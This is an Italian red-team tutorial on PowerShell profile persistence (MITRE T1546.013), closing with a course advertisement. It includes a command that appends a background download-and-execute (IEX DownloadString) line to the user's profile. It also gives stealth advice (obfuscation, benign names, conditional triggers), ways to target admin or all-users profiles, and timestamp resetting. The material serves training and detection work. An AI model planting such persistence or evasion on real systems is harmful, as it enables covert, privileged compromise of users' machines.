Profili PowerShell Malevoli: PowerShell Profile (T1546.013)

La tecnica T1546.013 sfrutta i profili di PowerShell — script profile.ps1 eseguiti automaticamente all'avvio di ogni sessione — come vettore per persistenza (TA0003) e privilege escalation (TA0004). Un profilo è un normale script PowerShell che l'interprete carica in modo trasparente prima di restituire il prompt all'utente, a meno che non venga passato il flag -NoProfile al momento del lancio.

Esistono profili distinti per ogni combinazione di utente e host: la console classica, PowerShell ISE, Visual Studio Code, e così via. Un amministratore può inoltre definire un profilo AllUsersAllHosts che si applica a chiunque avvii PowerShell sulla macchina. Questa molteplicità offre all'attaccante diverse superfici di innesto: modificando anche uno solo di questi file può garantire l'esecuzione di codice arbitrario a ogni nuova sessione.

L'impatto operativo è duplice. Sul fronte persistenza, il payload viene rieseguito senza necessità di task pianificati, chiavi Run o servizi — riducendo la visibilità in molti stack di detection classici. Sul fronte privilege escalation, se un profilo utente viene caricato da un account privilegiato (tipicamente un domain admin che apre una console sull'host compromesso), il codice iniettato eredita quel token. È uno scenario particolarmente insidioso negli ambienti dove gli amministratori usano workstation condivise o effettuano jump temporanei su server già sotto controllo dell'avversario. Il gruppo Turla è documentato per l'uso di questa tecnica in contesti di lungo respiro.

In un esercizio red team la tecnica si presta a scenari post-exploitation puliti e a basso rumore. I percorsi profilo da conoscere sono sei, corrispondenti alle combinazioni di scope (AllUsers/CurrentUser) e host (AllHosts/ConsoleHost/ISE). Il modo più rapido per enumerarli è interrogare la variabile automatica $PROFILE:

Get-Variable PROFILE -ValueOnly | Select-Object *Host*

Questo restituisce i quattro path riferiti all'utente e all'host correnti. Per i profili di sistema si consultano $PROFILE.AllUsersAllHosts e $PROFILE.AllUsersCurrentHost, tipicamente sotto C:\Windows\System32\WindowsPowerShell\v1.0\.

Lo scenario base consiste nel verificare l'esistenza del profilo utente, crearlo se assente e appendere una riga di persistenza:

if (!(Test-Path $PROFILE)) { New-Item -Type File -Path $PROFILE -Force }

Add-Content -Path $PROFILE -Value 'Start-Job { IEX (New-Object Net.WebClient).DownloadString("") } | Out-Null'

L'uso di Start-Job è preferibile a un'esecuzione sincrona perché evita che l'apertura della console si blocchi visibilmente in attesa del payload, riducendo il rischio che l'utente noti anomalie. Per operazioni realmente stealth, il codice va offuscato o incapsulato in una funzione dal nome benigno che viene invocata solo se sono presenti determinate condizioni ambientali (dominio, hostname, orario).

Per scalare privilegi, l'obiettivo è colpire il profilo di un account amministrativo. Se si dispone di scrittura su $PROFILE.AllUsersAllHosts (spesso protetto ma non sempre correttamente ACL-ato in ambienti legacy), qualsiasi utente che apra PowerShell caricherà il payload. Alternativa: modificare il profilo dell'utente admin nella propria home directory se accessibile tramite share amministrative dopo lateral movement.

Per simulazioni realistiche, framework come Atomic Red Team (open source) includono test dedicati a T1546.013 sotto forma di script YAML riproducibili — utile per validare la detection senza scrivere payload custom. PowerSploit (open source, archiviato ma ancora funzionante) e Empire nella versione mantenuta da BC-Security (open source) forniscono moduli di post-exploitation che integrano nativamente questa tecnica di persistenza.

Nei report va sempre inclusa la sequenza di cleanup: rimozione delle righe iniettate e ripristino dei timestamp originali del file profilo con Set-ItemProperty sui campi CreationTime e LastWriteTime per non lasciare artefatti nel lab.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.